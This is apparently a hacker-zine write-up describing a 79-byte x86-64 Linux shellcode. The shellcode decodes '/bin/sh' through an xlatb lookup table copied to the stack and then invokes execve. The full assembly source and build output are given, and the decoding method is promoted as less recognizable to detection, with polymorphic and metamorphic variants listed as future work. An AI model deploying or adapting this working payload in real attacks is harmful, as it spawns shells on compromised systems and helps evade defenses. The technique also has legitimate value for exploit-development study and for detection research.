┌───────────────────────┐
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │
│ █ █ █ █ █ █ │
│ █ █ █ █ █▀▀▀▀ │
│ █ █ █ █ ▄ │
│ ▄▄▄▄▄ │
│ █ █ │
│ █ █ │
│ █▄▄▄█ │
│ ▄ ▄ │
│ █ █ │
│ █ █ │
│ █▄▄▄█ │
│ ▄▄▄▄▄ │
│ █ │
XLAT is All You Need │ █ │
~ febnug └───────────────────█ ──┘
[1. Introduction]
Most shellcode decoders follow a familiar pattern: a small loop that applies a
simple transformation such as XOR or addition, reconstructing the original
payload byte by byte. These techniques are effective, but they are also
predictable and widely documented.
This work explores a different approach by using the xlatb instruction as the
core decoding primitive, combined with a minimal lookup table and runtime
mutation. Instead of relying on arithmetic transformations, the shellcode
performs indirect lookups, shifting part of the decoding logic into data.
The final payload fits within 79 bytes and remains fully position-independent.
Earlier iterations were slightly smaller but proved unstable due to incorrect
pointer resolution, especially when executed as raw shellcode. The final
version prioritizes reliability while maintaining tight size constraints.
More importantly, this approach moves toward a data-driven model, where behavior
is defined by table contents rather than explicit instruction sequences.
[2. Why XLAT over XOR?]
XOR-based decoders are the default choice in most shellcode. They are simple,
compact, and easy to implement, typically using a tight loop with a fixed key.
However, this also makes them predictable, both in structure and behavior.
Using xlatb replaces arithmetic transformation with lookup-based
decoding. Instead of computing:
decoded = encoded ^ key
the shellcode performs:
decoded = table[index]
where the index is taken directly from the payload.
This introduces several differences:
* The decoding logic is implicit and stored in data rather than instructions.
* There is no fixed key. The mapping can be arbitrarily defined.
* The instruction pattern is uncommon. xlatb is rarely seen in modern code,
making the structure less recognizable.
* Only a partial table is required, reducing overhead compared to a full
256-byte lookup table.
From a design perspective, XOR encodes behavior in instructions, whereas xlatb
encodes behavior in data. This distinction makes the approach more flexible,
even if not always smaller.
[3. Design Overview]
The shellcode consists of four main stages:
1. Resolve pointers to payload and table
2. Copy and mutate the lookup table
3. Decode "/bin/sh" using xlatb
4. Execute execve
Constraints:
* Position independent
* Size-constrained (<80 bytes)
* No fragile control flow tricks
* Safe self-modification (no writes to .text)
[4. Pointer Resolution]
A call/pop sequence is used to obtain the payload address:
call decoder
...
decoder:
pop rsi
Earlier versions relied on offset calculations such as:
lea rbx, [rsi + table - payload]
While this worked in a standalone ELF binary, it proved unreliable when executed
as raw shellcode. The layout assumptions did not always hold, leading to invalid
memory accesses and crashes.
The final version resolves the table pointer using another call/pop sequence:
call get_table
get_table:
pop rbx
By placing the call immediately before the table, RBX is guaranteed to point to
the correct location regardless of how the shellcode is loaded.
This makes the implementation fully position-independent and robust across
different execution contexts.
[5. Table Mutation]
The lookup table is stored in encoded form:
db value ^ 0x11
At runtime, it is copied to the stack and decoded via XOR:
mov rax, [rbx]
mov [rsp-32], rax
lea rbx, [rsp-32]
mov cl, 7
.mut:
xor byte [rbx+rcx-1], 0x11
loop .mut
This avoids modifying the .text section, which would fail on systems with W^X
protections. The mutation step also introduces variation in memory without
increasing code complexity.
[6. Decoding via XLAT]
The payload is a sequence of indices rather than a string:
db 0,1,2,3,0,4,5,6
Each byte is used as an index into the table:
lodsb
xlatb
stosb
This reconstructs:
/bin/sh
The null terminator is written explicitly:
xor eax, eax
mov [rdi-1], al
[7. Execution]
Once the string is prepared on the stack:
mov al, 59
lea rdi, [rsp-16]
xor esi, esi
xor edx, edx
syscall
This invokes:
execve("/bin/sh", NULL, NULL)
[8. Full Shellcode]
BITS 64
_start:
jmp short data
decoder:
pop rsi
call get_table
get_table:
pop rbx
mov rax, [rbx]
mov [rsp-32], rax
lea rbx, [rsp-32]
mov cl, 7
.mut:
xor byte [rbx+rcx-1], 0x11
loop .mut
lea rdi, [rsp-16]
mov cl, 8
.loop:
lodsb
xlatb
stosb
loop .loop
xor eax, eax
mov [rdi-1], al
mov al, 59
lea rdi, [rsp-16]
xor esi, esi
xor edx, edx
syscall
data:
call decoder
payload:
db 0,1,2,3,0,4,5,6
call get_table
table:
db 0x2f ^ 0x11
db 0x62 ^ 0x11
db 0x69 ^ 0x11
db 0x6e ^ 0x11
db 0x73 ^ 0x11
db 0x68 ^ 0x11
db 0x01 ^ 0x11
[9. Size and Properties]
* Size: ~80 bytes
* Position independent
* Self-modifying via stack copy
* Lookup-based decoding via xlatb
* Partial lookup table
The size can be verified as follows:
febri@ubuntu:~/project/shellcode/xlat$ objcopy -O binary -j .text xlat shellcode.bin
febri@ubuntu:~/project/shellcode/xlat$ wc -c shellcode.bin
79 shellcode.bin
febri@ubuntu:~/project/shellcode/xlat$
[10. Observations]
This approach shifts the perspective from:
"decode data using instructions"
to:
"execute behavior defined by data"
The lookup table effectively acts as a small program, and xlatb becomes the
mechanism that executes it. While not a full virtual machine, it demonstrates
how behavior can be driven by data rather than explicit logic.
The debugging process also highlights an important practical detail: techniques
that work in ELF binaries do not always translate directly to raw shellcode.
Position independence must account for how code is actually loaded and executed.
[11. Conclusion]
Using xlatb as a decoding primitive provides an alternative to traditional
shellcode techniques. Combined with a minimal lookup table and runtime mutation,
it enables compact and flexible payloads that differ from common patterns.
Although XOR-based approaches remain more efficient for simple cases, this
method offers a different trade-off, favoring structural variation and
data-driven behavior.
The result is not just smaller shellcode, but a different way of thinking about
how shellcode can be constructed.
[12. Future Work]
* Polymorphic table generation
* Multi-stage payloads
* Lookup-driven control flow
* Metamorphic instruction layouts
[13. Final Thoughts]
Sometimes the interesting part is not making shellcode smaller, but
making it different.
And xlatb is a surprisingly good place to start.
[14. References]
[1] Intel 64 and IA-32 Architectures Software Developer’s Manual
[2] XLAT/XLATB Instruction
https://www.felixcloutier.com/x86/xlat:xlatb
--[
PREV |
HOME |
NEXT ]--